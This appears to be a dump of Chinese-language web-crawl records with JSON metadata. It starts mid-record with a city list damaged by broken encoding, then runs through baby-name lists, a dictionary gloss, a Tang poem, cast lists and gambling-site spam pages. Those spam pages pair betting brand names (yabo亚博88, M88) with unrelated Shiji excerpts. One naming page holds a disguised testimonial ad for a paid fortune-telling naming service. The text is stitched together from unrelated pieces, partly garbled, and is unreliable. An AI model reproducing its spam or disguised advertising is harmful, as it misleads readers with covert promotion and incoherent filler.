延安 咸陽 渭南 安康 榆林 商洛山東?。?濟南 東營 威海 煙臺 淄博 濰坊 青島 日照 荷澤 臨沂 聊城 濱州 德州 棗莊 濟寧 泰安 章丘 膠南 膠州 平度 萊西 即墨 臨清 樂陵 禹城 青州 諸城 壽光 安丘 高密 昌邑 龍口 萊陽 萊州 招遠 蓬萊 棲霞海陽 乳山 榮成 滕州 曲阜 兗州 鄒城湖北?。?武漢 宜昌 襄陽 荊州 十堰 孝感 黃石 咸寧 鄂州 隨州湖南?。?長沙 岳陽 常德 株洲 湘潭 衡陽 張家界 邵陽 懷化 婁底 吉首江蘇?。?(上海)南京 南通 徐州 蘇州 常州 揚州 無錫 鹽城 淮安 連云港 宿遷 鎮江 豐縣 邳州 新沂 東海 阜寧 高郵 江都 興化 姜堰 泰興 靖江 如皋 通州 海門 啟東 揚中 句容 丹陽 武進 金壇 溧陽 江陰 錫山宜興 常熟 張家港 太倉 昆山 吳縣 吳江浙江?。?杭州 溫州 嘉興 寧波 舟山 湖州 臺州 紹興 金華 麗水 衢州 余姚 慈溪 蕭山 建德 富陽 余杭 臨安 奉化 海寧 平湖 桐鄉 諸暨 上虞 嵊州 開化 常山 蘭溪 義烏 東陽 永康 臨海 溫嶺 汝南 樂清 縉云江西?。?南昌 景德鎮 上饒 九江 贛州 撫州 吉安 鷹潭 新余 萍鄉安徽?。?合肥 安慶 阜陽 蕪湖 淮北 滁洲 宿洲 蚌埠 淮南 馬鞍山 安慶 黃山 六安 池州 宣城 亳州 巢湖廣東?。?廣州 深圳 梅州 肇慶 韶關 汕頭 佛山 惠州 清遠 湛江 河源 潮州 揭陽 東莞 珠海 中山 茂名廣西?。?南寧 玉林 柳州 桂林 百色 貴港 欽州 河池 賀州 北海福建?。?福州 廈門 泉州 甫田 石獅 龍巖 三明 南平 漳州 龍巖 寧德 浦城云南?。?昆明 玉溪 曲靖 楚雄 麗江 昭通 保山 大理 德宏 怒江 迪慶 文山貴州?。嘿F陽 遵義 六盤水 凱里 安順 畢節 銅仁 興義四川?。?成都 攀枝花 綿陽 宜賓 樂山 內江 瀘洲 德陽 廣元 自貢 南充 遂寧 西昌 重慶 都江堰 廣安 巴中 達州 資陽 眉山 雅安寧 夏 : 銀川 石嘴山 吳忠 固原 青銅峽甘肅?。?蘭州 嘉峪關 金昌 白銀 天水 敦煌 酒泉 張掖 武慶陽 平涼 定西 隴南 臨夏 合作 敦煌青海?。?西寧 格爾木 德令哈 共和 瑪多 銅仁 海西 海東新 疆: 烏魯木齊 克拉瑪依 庫爾勒 石河子 阿拉爾 圖木舒克 五家渠 哈密 阿勒泰 吐魯番 阿克蘇","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/www.pacificnorthwestmovies.com\/banjia\/507510078.html","date":"2022-06-29T10:11:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103626162.35\/warc\/CC-MAIN-20220629084939-20220629114939-00694.warc.gz","language":"lzh","language_score":0.6790506244,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.679050624370575, \"nan_Hani_score\": 0.1865793913602829, \"cmn_Hani_score\": 0.12570855021476746}","num_words":402,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.301,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.709,"perplexity_score":500.0,"cluster_detection":1} +{"text":"收敛和手镯、耳环一样的 如果是单个的一定要戴左边\n骗人 都是以讹传讹\n下面都是周易测出来的,你自己选吧。\n宋惠文 宋雪玲 宋柯皙 宋毓腾 宋莹杰 宋笑仪 宋竹英 宋钰薇 宋华涵 宋旋濠 宋培欣 宋淑剀 宋丽然 宋路伟 宋珊文 宋巧锫 宋莱丹 宋欣奕 宋烜茵 宋宜乐 宋晓华 宋子域 宋馨元 宋思八 宋佳佳 宋夏皓 宋诺芬 宋晴席 宋紫晴 宋梓欣 宋博平 宋妆蕾 宋静涵 宋事球 宋骋凡 宋欢敏 宋胜京 宋宸辰 宋悉雅 宋艳姿 宋小娣 宋广馨 宋玉菁 宋懿舒 宋予寒 宋铭茹 宋盟文 宋玉瑜 宋绮睿 宋雅炀 宋艺君 宋易儿 宋瑞一 宋芫洋 宋晓山 宋晓琪 宋彦玲 宋潇熙 宋远艳 宋奕出 宋玲怡 宋慧娴 宋亚跃 宋菩舞 宋雨语 宋少灿 宋馨果 宋倩静 宋树洁 宋舒蕊 宋枥元 宋泽文 宋雨水 宋文歆 宋紫梅 宋梅楠 宋言杉 宋夏硕 宋佳然 宋思茜 宋秀萱 宋心潇 宋柯芝 宋宗颖 宋瑞霞 宋慧晴 宋禾欣 宋艳涵 宋爱婷 宋丽林 宋语一 宋媚涵 宋蕊雯 宋令烨 宋淑瑞 宋嘉嘉 宋千宁 宋红倩 宋若瑶 宋玉瑜 宋蓓然 宋衣莎 宋煊柳 宋兆希 宋子华 宋亚榕 宋杭雅 宋建夏 宋芹 宋朗扬 宋宏楠 宋玉薇 宋琰畅 宋红芋 宋绮玲 宋菀晖 宋小萍 宋姝婷 宋雨菊 宋敏跞 宋书涵 宋韵雪 宋美蕾 宋慧姗 宋梓英 宋令雨 宋江仪 宋艾颖 宋千辉 宋杭灏 宋晚嫣 宋方艳 宋涵杰 宋心 宋蕙潼 宋依娴 宋苏秋 宋思杰 宋紫雯 宋鹤铭 宋乙彤 宋煜淇 宋怡宇 宋泓亚 宋小胜 宋曲明 宋秋静 宋旋婷 宋俊凤 宋以泽 宋梓婷 宋诗朱 宋一硕 宋伊希 宋晓儿 宋春洁 宋金薇 宋培璐 宋泽华 宋美凌 宋倩欣 宋琼琪 宋育梅 宋玖单 宋晓菲 宋芊渝 宋浩佳 宋灏慧 宋红怡 宋小远 宋铭婉 宋青玲 宋金凤 宋荣秋 宋夕然 宋璜欣 宋凌明 宋绮平 宋哲怡 宋若柠 宋珈雯 宋鹤珊 宋云涵 宋子华 宋向楠 宋道飞 宋巾滨 宋婧娣 宋初韵 宋雪瑾 宋潇汉 宋欢丽 宋嘉子 宋会霞 宋皓蕻 宋静明 宋仪誉 宋爱娟 宋蓝淇 宋俊欣\n宋诺 宋琼 宋梓 宋琳 宋胥 宋翔 宋祎 宋卉 宋媛 宋昱 宋睛 宋兰 宋萍 宋亮 宋琳 宋军 宋沛 宋颖 宋花 宋欣 宋今 宋聪 宋婷 宋博 宋兰 宋祁 宋广 宋炜 宋雪 宋萌 宋朕 宋琦 宋清 宋茜 宋闵 宋好 宋青 宋倩 宋海 宋红 宋风 宋欣 宋颖 宋江 宋绮 宋苒 宋彬 宋瑜 宋云 宋伟 宋旭 宋雪 宋淘 宋飞 宋媛 宋雷 宋涵 宋菲 宋金 宋谚 宋妍 宋珲 宋鑫 宋斌 宋爽 宋煊 宋格 宋哲 宋泓 宋斌 宋楠 宋敏 宋颖 宋畅 宋丽 宋妍 宋钟 宋颖 宋燚 宋凡 宋红 宋筠 宋爽 宋毅 宋庆 宋丽 宋玲 宋扬 宋帅 宋影 宋毅 宋明 宋霞 宋辛 宋南 宋媛 宋盼 宋晨 宋洋 宋玉 宋岚 宋颖 宋艳 宋桦 宋丽 宋芳 宋娅 宋萍 宋玲 宋蕾 宋洛 宋桃 宋铭 宋熔 宋格 宋南 宋羽 宋榇 宋彤 宋利 宋莹 宋羽 宋枭 宋泊 宋希 宋戈 宋烊 宋迪 宋惠 宋奕 宋一 宋晶 宋洋 宋湘 宋薇 宋榕 宋珅 宋圆 宋格 宋鑫 宋锦 宋颖 宋晶 宋淼 宋柔 宋婷 宋哲 宋扬 宋菁 宋颖 宋莹 宋馨 宋薇 宋芹 宋淼 宋璨 宋娟 宋营 宋琼 宋琦 宋仪 宋俊 宋筠 宋丽 宋鹃 宋敏 宋苗 宋欣 宋菲 宋游 宋瑶 宋商 宋鑫 宋恕 宋淼 宋敬 宋磊 宋鸿 宋玲 宋欣 宋影 宋婕 宋荣 宋晔 宋琳 宋星 宋毅 宋昊 宋娜 宋钰 宋玲 宋延 宋芳 宋淼 宋菲 宋欣 宋岩 宋恬 宋婧 宋婧\n宋雨璇,宋雨绯,宋雨妩,宋雨意,宋雨扬,宋雨珏。\n取名,因人而异。一个好名,或可为您塑造一个雄才大略、气宇轩昂的家形像;或可为您塑造一个精明能干、足智多谋的商业巨子形像;或可为您塑造一个出类拨萃、才华横溢的艺术名人形像;或可为您塑 造一个造诣颇深、德高望重的学者英才形像 名正是金,好名远扬。强烈建议你到目前最诚信、最受网友欢迎的权威周易起名网——\"普渡居周易起名\"请专家为你起,花点小钱求个美名。值得!我家小宝宝和我的几个同事的孩子都是在这起的名字,发过来的分析资料非常专业。而且只要你对他提供姓名有音形上的异议,如与长辈同名同音了等等,这里会无次数限制的为你多次提供姓名直到你满意为止。上网搜索一下\"普渡居周易起名\"就知道了。\n跟摩羯和天蝎,都是同类性格的人,且在事业上可以互相帮助","id":"","dump":"CC-MAIN-2023-14","url":"http:\/\/www.wflwsb.com\/gs\/ff43gd0\/","date":"2023-03-25T23:57:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945376.29\/warc\/CC-MAIN-20230325222822-20230326012822-00691.warc.gz","language":"lzh","language_score":0.9523567557,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.95235675573349, \"cmn_Hani_score\": 0.02389313094317913, \"nan_Hani_score\": 0.017430996522307396}","num_words":410,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.955,"perplexity_score":500.0,"cluster_detection":1} +{"text":"时间:2023-01-09 18:24:01 | 浏览:23\n王姓,在古代百家姓排第8位,是中国的大姓之一。主要源于姬姓、子姓、妫姓和少数民族改姓。\n东周时期的姬晋为王姓始祖,是周灵王之子,因值谏被废为平民,其子仍在朝中担任司徒之职,时人以其是王族的后代便称为\"王家\",由此产生了王姓。先秦时期,这支王姓氏族一直活跃在河南洛阳一带,至秦末汉初,为避战乱分别迁徙至山东琅琊、山西太原,最终发展成琅琊王氏和太原王氏两大王姓望族。\n王姓氏族的盛名在东晋时期发展到顶峰,甚至达到了\"王与马,共天下\"的局面,所谓\"旧时王谢堂前燕,飞入寻常百姓家\"也不难看出当时王氏家族的显赫,我们所熟知的著名书法家王羲之便是出自琅琊王氏。\n整体而言,王姓是一个比较好取名的姓,只需要注意避开谐音\"亡\",大部分的王姓取名都比较的中规中矩,也不会出错。当然作为大姓,王姓取名的重名率是非常高的,大部分来点睛起名咨询的朋友们都是希望能够取一个不拘俗套而又落落大方的名字。\n王姓名字参考如下:\n男孩姓名参考:\n王珣亦 王青羡 王安逸 王靖鸣 王越郢 王知瑜 王和恒 王夕恺 王寒丞 王啸宏 王翰楠 王晓之 王清博 王笑尔 王昱祺 王子甫 王深尔 王煜豪 王滔凡 王昱恒 王梓宸 王平白 王浥晟 王思言 王嘉瑜 王晓凯 王思廷 王嘉迪 王梓韬 王朔晨 王深晨 王笑墨 王泓晨 王敬恒 王疏涵 王云信 王雨琥 王笑丞 王疏祺 王疏豪 王霖祺 王牧涵 王和虎 王深晟 王木晟 王深然 王木凡 王昱沛 王啸楠 王文晟 王啸辰 王奕楠 王浥沛 王亦宏 王鸿之 王楚墨 王朔鹿 王皓轩 王沐博 王沣逸 王泽恺 王昱廷 王清沛 王疏熙 王亦言 王筠然 王寒涵 王韫宏 王奕恒 王祎瑜 王慕霖 王鸿凡 王鸿墨 王牧鹿 王浩恒王笑鹿 王筠瑜 王沣凯 王亦墨 王亦轩 王牧丞 王笑凯 王云宸 王听靖 王牧信 王怀逸 王朔尔 王煜晨 王昊鹿 王则然 王敬宸 王平之 王之墨 王和恒 王夕恺\n女孩姓名参考:\n王疏熙 王曦灵 王皓楠 王沐熙 王曦熙 王烟白 王佳祺 王韵晗 王韵之 王芷馨 王慕柔 王芷涵 王文儿 王寒玥 王语桐 王沣楠 王曼瑜 王之妍 王曼灵 王闻瞳 王曼萱 王深灵 王楚萌 王诗琪 王沣白王夕霏 王淑桐 王笑昕 王静帆 王思妍 王墨沛 王清墨 王疏书 王馥瑜 王沣靖 王如怡 王瑾沛 王夕萱 王皎逸 王静涵 王羽之 王静尔 王梦雪 王伊雪 王亦昕 王佳笑 王怀琳 王安婉 王羽涵 王听瑜王筠妍 王沐玥 王思怡 王羽尔 王皎言 王伊棠 王深曦 王沐雪 王疏言 王云妤 王沣瞳 王沣曦 王沣帆 王羽柔 王曦书 王之沛 王萱妤 王烟依 王园音 王奕玥 王慕晨 王亦瞳 王晓霏 王心尔 王瑾雪 王梦言 王萱婉 王墨祺 王伊瞳 王沣琳 王淑涵 王思音 王梦音 王芷怡 王听之 王晓桐 王曦晗 王寒歆 王羽音 王浥萱 王瑾桐 王诗绮 王若玥 王诗祺 王欣书 王烟甄 王筠昕 王淑昕 王语妍 王艺柔\nhttps:\/\/www.kaw.ink\/","id":"","dump":"CC-MAIN-2023-40","url":"http:\/\/www.yunquming.cn\/391783.html","date":"2023-09-22T20:48:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506423.70\/warc\/CC-MAIN-20230922202444-20230922232444-00121.warc.gz","language":"lzh","language_score":0.641238749,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6412387490272522, \"cmn_Hani_score\": 0.31724026799201965, \"nan_Hani_score\": 0.040746890008449554}","num_words":202,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.77,"perplexity_score":500.0,"cluster_detection":1} +{"text":"㚔部曰。報、當罪人也。葢㓝與罪相當謂之報。引伸凡論人論事得其實謂之報。謂者、論人論事得其實也。如論語謂韶、謂武子、謂子賤子、謂仲弓、其斯之謂與、大學此謂身不脩不可以齊其家是也。亦有借爲曰字者。如左傳王謂叔父、卽魯頌之王曰、叔父也。亦有訓爲勤者。亦以合音冣近也。\n于貴切。十五部。","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/www.shuowen.org\/view\/1475?bushou=%E8%A8%80","date":"2019-03-19T03:48:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201885.28\/warc\/CC-MAIN-20190319032352-20190319054352-00414.warc.gz","language":"lzh","language_score":0.7799610496,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7799610495567322, \"cmn_Hani_score\": 0.17201702296733856, \"jpn_Jpan_score\": 0.02182200364768505}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.78,"perplexity_score":500.0,"cluster_detection":1} +{"text":"yabo亚博88提前潜伏半导体板块106只基金年内回报率超30\n十二无大馀,无小馀;无大馀,无小馀;\n始皇九年,有告嫪毐实非宦者,常与太后私乱\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系\n留三日,赵高诈诏卫士,令士皆素服持兵内乡,入告二世曰:\"山东群盗兵大至!\"二世上观而见之,恐惧,高既因劫令自杀。引玺而佩之,左右百官莫从;上殿,殿欲坏者三。高自知天弗与,群臣弗许,乃召始皇弟,授之玺。\n子贡好废举,与时转货赀。喜扬人之美,不能匿人之过。常相鲁卫,家累千金,卒终于齐。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/f73q3.russianbayarea.com\/VPFMA39433.html","date":"2020-02-25T22:50:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146160.21\/warc\/CC-MAIN-20200225202625-20200225232625-00398.warc.gz","language":"lzh","language_score":0.5663574338,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.566357433795929, \"cmn_Hani_score\": 0.27097710967063904, \"nan_Hani_score\": 0.05437854304909706, \"yue_Hani_score\": 0.026395076885819435}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.2,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.282,"perplexity_score":500.0,"cluster_detection":1} +{"text":"M88埃尔多安在联大点名批评以色列美国和联合国\n初,武为淮阳王十年,而梁王胜卒,谥为梁怀王。怀王最少子,爱幸异於他子。其明年,徙淮阳王武为梁王。梁王之初王梁,孝文帝之十二年也。梁王自初王通历已十一年矣。\n子游既已受业,为武城宰。孔子过,闻弦歌之声。孔子莞尔而笑曰:\"割鸡焉用牛刀?\"子游曰:\"昔者偃闻诸夫子曰,君子学道则爱人,小人学道则易使。\"孔子曰:\"二三子,偃之言是也。前言戏之耳。\"孔子以为子游习於文学。\n祝犁作噩黄龙元年。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n司马相如既卒五岁,天子始祭后土。八年而遂先礼中岳,封于太山,至梁父禅肃然。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/a1rkm.starmoderecords.com\/UBGDE52467.html","date":"2020-02-19T23:13:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144429.5\/warc\/CC-MAIN-20200219214816-20200220004816-00402.warc.gz","language":"lzh","language_score":0.5326778293,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5326778292655945, \"cmn_Hani_score\": 0.30949667096138, \"nan_Hani_score\": 0.03969166800379753, \"wuu_Hani_score\": 0.035190220922231674, \"jpn_Jpan_score\": 0.015541012398898602, \"yue_Hani_score\": 0.013399503193795681}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.369,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n陳山聰 李施嬅 張曦雯 譚凱琪 林子善 黃祥興 鄧佩儀\n楊明 高海寧 陳曉華 姜大衛 馬海倫 李成昌 莊思敏 黃祥興 容天佑 樓嘉豪 何啓南 朱敏瀚 於洋 董敬文 楊玉梅 陳狄克 蔡國威 李豪 關梓陽 吳嘉儀 彭翔翎 曾慧雲 劉桂芳 蘇麗明 黃梓瑋 尹詩沛 梁珈詠 陳俊堅 蔡康年 王俊棠 秦啓維 鄧以婷 容羨媛 譚偉權 馮奕森 葉蒨文 朱斐斐 周梓盈 陳嘉慧\n黃浩然 陳煒 譚俊彥 李施嬅 湯洛雯 朱晨麗 郭子豪 張彥博 謝賢 鄭希怡 鄭俊弘 謝雪心 康華 張文慈 海俊傑 陸詩韻 李美慧 蔡思貝 呂珊 曾偉權 朱匯林 楊柳青 黃耀煌 陳少邦 溫家偉 趙璧渝 謝芷倫 區靄玲 莫家淦 黃祥興 楊潮凱 張曦雯 陳敏之 鮑起靜 張頴康 鄭子誠 陳志健 黎燕珊 古明華 楊證樺 嘉駿 林子超 劉家聰 黃得生 羅蘭 麥玲玲 Kim Robertson 楊玉梅 李龍基 陳嘉桓 李漫芬 袁潔儀 吳香倫 李麗麗 胡美貽 程皓 吳沚默 張本立 林惜貞 吳卓衡 陳康琪 關嘉敏 夏子涓\n薛家燕 黎諾懿 黃祥興\n袁偉豪 唐詩詠 朱晨麗 胡鴻鈞 黃祥興 賴慰玲 林子善 張彥博 趙希洛 黃子雄 郭子豪 王歌慧 張國強 煒烈 鄭敬基 範文雅 沈可欣 顧冠忠 祝文君 李日升 方紹聰 李啓傑 邵卓堯 許家傑 關浩揚 衛志豪 鄭家生 姚浩政 莫家淦 尹詩沛 楊家寶 楊潮凱 崔錦棠 秦啓維 李楓 林淑敏 朱斐斐 曹思詩 林希靈 潘梓鋒 謝芷倫 黃愷怡 餘應彤 李海生 陳勉良 彭紀諺 容羨媛 周麗欣 丘梓謙 李漫芬 劉溫馨 陳婉衡 陳靖雲 沈愛琳 莫偉文 徐玟晴 周梓盈 關偉倫 趙樂賢 繆家慶 招浩明 余子明 楊證樺 魏惠文 鄧\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E9%BB%83%E7%A5%A5%E8%88%88------------.html","date":"2020-09-27T20:14:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401578485.67\/warc\/CC-MAIN-20200927183616-20200927213616-00474.warc.gz","language":"lzh","language_score":0.653341949,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6533419489860535, \"cmn_Hani_score\": 0.24811691045761108, \"nan_Hani_score\": 0.08515989780426025, \"yue_Hani_score\": 0.01262651477009058}","num_words":181,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.725,"perplexity_score":500.0,"cluster_detection":1} +{"text":"夢歸賦\n罹擯斥以窘束兮,予惟夢之為歸。精氣注以凝沍兮,循舊鄉而顧懷。夕予寐於荒陬兮,心慊慊而莫違。質舒解以自恣兮,息愔翳而愈微。騰湧而上浮兮,俄滉瀁之無依。圓方混而不形兮,顥醇白之霏霏。上茫茫而無星辰兮,下不見夫水陸。若有鉥予以往路兮,馭儗儗以回復。浮雲縱以直度兮,雲濟予乎西北。風纚纚以經耳兮,類行舟迅而不息。洞然於以瀰漫兮,虹羅列而傾側。橫衝飆以蕩擊兮,忽中斷而迷惑。靈幽漠以瀄汩兮,進怊悵而不得。白日邈其中出兮,陰霾披離以泮釋。施嶽瀆以定位兮,互參差之白黑。忽崩騫上下兮,聊案行而自抑。指故都以委墜兮,瞰鄉閭之修直。原田蕪穢兮,崢嶸棒棘。喬木摧解兮,垣廬不飾。山嵎嵎以岩立兮,水汩汩以漂激。魂恍惘若有亡兮,涕汪浪以隕軾。類曛黃之黭漠兮,欲周流而無所極。紛若喜而佁儗兮,心回互以壅塞。鍾鼓喤以戒旦兮,陶去幽而開寤。罾罻蒙其復體兮,孰雲桎梏之不固。精誠之不可再兮,予無蹈夫歸路。\n偉仲尼之聖德兮,謂九夷之可居。惟道大而無所入兮,猶流遊乎曠野。老聃遁而適戎兮,指淳茫以縱步。蒙莊之恢怪兮,寓大鵬之遠去。苟遠適之若茲兮,胡為故國之為慕。首丘之仁類兮,斯君子之所譽。鳥獸之鳴號兮,有動心而曲顧。膠予衷之莫能舍兮,雖判折而不悟。列茲夢以三復兮,極明昏而告訴。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/zh.wikisource.org\/wiki\/%E5%A4%A2%E6%AD%B8%E8%B3%A6","date":"2021-01-16T00:18:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703497681.4\/warc\/CC-MAIN-20210115224908-20210116014908-00165.warc.gz","language":"lzh","language_score":0.4456844926,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.4456844925880432, \"zxx_Latn_score\": 0.11492859572172165, \"nan_Hani_score\": 0.046777814626693726, \"und_Tang_score\": 0.027017004787921906, \"cmn_Hani_score\": 0.0254413653165102, \"und_Cans_score\": 0.024928374215960503, \"und_Yiii_score\": 0.02324041910469532, \"und_Kits_score\": 0.019245164468884468, \"und_Ethi_score\": 0.018117522820830345, \"und_Cyrl_score\": 0.016624702140688896, \"und_Grek_score\": 0.015999754890799522, \"und_Glag_score\": 0.015300553292036057, \"und_Nshu_score\": 0.012674246914684772, \"und_Egyp_score\": 0.012177695520222187, \"und_Sgnw_score\": 0.011701897718012333, \"und_Lina_score\": 0.01123742200434208, \"und_Adlm_score\": 0.010400605387985706}","num_words":4,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.147,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.2,"perplexity_score":500.0,"cluster_detection":1} +{"text":"劇情介紹\n綜藝《2020湖南衛視12.12超拼夜》由何炅 汪涵 李維嘉 杜海濤 吳昕 錢楓 大張偉 沈夢辰 梁田 靳夢佳 劉燁 韓紅 李宇春 黃子韜 周筆暢 魏大勛 劉宇寧 周深 黃明昊 吉克雋逸 李橋舟 孟美岐 賴美雲 李榮浩 李斯丹妮 李鑫一 李澤鋒 劉炫廷 孟佳 王大陸 王霏霏 王瀧正 王鷗 王七七 王子異 袁姍姍 張國偉 張含韻 章若楠 朱正廷 艾福傑尼 馬嘉祺 丁程鑫 宋亞軒 劉耀文 張真源 嚴浩翔 賀峻霖 蔡卓宜 保劍鋒 大牛 孫權 馮薪朵 何洛洛 夏之光 姚琛 張顏齊 劉也 趙磊 趙讓 劉雨昕 許佳琪 安崎 孔雪兒 陸柯燃 希林娜依·高 趙粵 等主演,未知執導。","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/itv8.tv\/show\/98335.html","date":"2021-05-09T01:28:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988953.13\/warc\/CC-MAIN-20210509002206-20210509032206-00089.warc.gz","language":"lzh","language_score":0.8586385846,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.8586385846138, \"cmn_Hani_score\": 0.10218819975852966, \"nan_Hani_score\": 0.03597450628876686}","num_words":69,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.285,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.853,"perplexity_score":500.0,"cluster_detection":1} +{"text":"好听的男孩名字:伟宸 鼎宇 俊洪 弘乐 星运 深蓝 鼎璋 元奇 野楠 依恒 博翰 昌凯 翰图 文鸿 鼎霄 博磊 健哲 泽琪 泽明 鼎烟 玮豪 文璋 鸿春 依忠 雪光 明浩 浩闲 劲星 弘磊 天星 泽仁 宇悠 睿泽 涛信 桦恒 仁承 俊元 达鸣 文伟 荣景 弘畅 世轩 翰玮 雷豫 智玄 苑柏 宇凡 博舟 信志 玮贤 文哲 文弘 伦鹤 致远 昌宇 文韵 杰洋 博伟 云悠 棋德 鸿鸽 志盛 鼎名 博祺 志瑞 松浩 弘伦 宇欢 鸿烟 松图 翰启 昌皓 圣棋 弘楷 金傲 昌东 弘翰 展欧 圣佑 胜日 文进 泽晋 涛云 弘玄 冠宇 涛畅 涛石 言明 韵舟 强邦 钦文 泰佑 昌崇 仁文 君信 鼎文 涛瑞 星玉 江杉 浩凯 君谦 畅翔 彬豪 崇融 浩海 轩博 棋天 鼎天 志欧 旭秉 翰宇 江春 杰彤 智遥 杰诚 博月 晋尘 泰康 弘渊 若菲 君鹤 文东 苑羽 棋龙 晋茂 晓城 泽兴 鼎皓 松德 君恩 浩彤 敬依 晋名 旭帆 万波 俊泰 依海 圣舟 鑫鹏 旭云 健龙 圣靖 博永 鼎恩 泽文 润泽 展轩 杰欧 尧嘉 新杰 仁顺 秋潭 星柯 彬远 庸玉 博恩 昌蝶 博浩 羽道 世博 鸿耀 昌翔 乐统 彬瀚 翰畅 文明 雨诚 昊瀚 荣裕 旭轩 翰景 城天 浩琪 俊鹤 玮哲 楷拓 展融 泰瀚 文玮 荣恩 博达 亦朋 智天 彬翰 亦文 弘影 展润 君保 泽贤 泽畅 清辉 昌鸿 玮帆 弘文 敬壤 鼎岩 文运 好听的女孩名字:昕玉 冰婕 烟絮 雨欣 紫静 雨真 舒悦 思琪 纹昕 鑫茹 冰玉 玉婷 缘缘 慧琼 楠采 嘉悦 兰青 海甜 心洁 欣怡 千卉 丽媛 幽蕊 依欣 欣月 缦萱 听春 蓉蓉 嘉丹 思静 子舒 婉君 凌娇 明柔 柳娇 翠松 昕卿 翠玉 欣桦 紫盈 谷秋 诗懿 甜瑜 欣雨 南露 茹雪 含瑛 露霜 慧馨 依凝 秋云 思琪 可竹 雪春 曦奇 芊桐 若壁 梦香 采柏 严微 雨馨 兰芷 梦娇 娜盈 漫珊 昕琪 芷涵 安宁 雨珍 佩虹 凯悦 纹虹 子韩 紫晴 菲舞 幽雪 彤楠 雁雪 菡颖 问蕊 姗青 凝雁 静芙 夜甜 巧绿 采凝 菲雪 诗柳 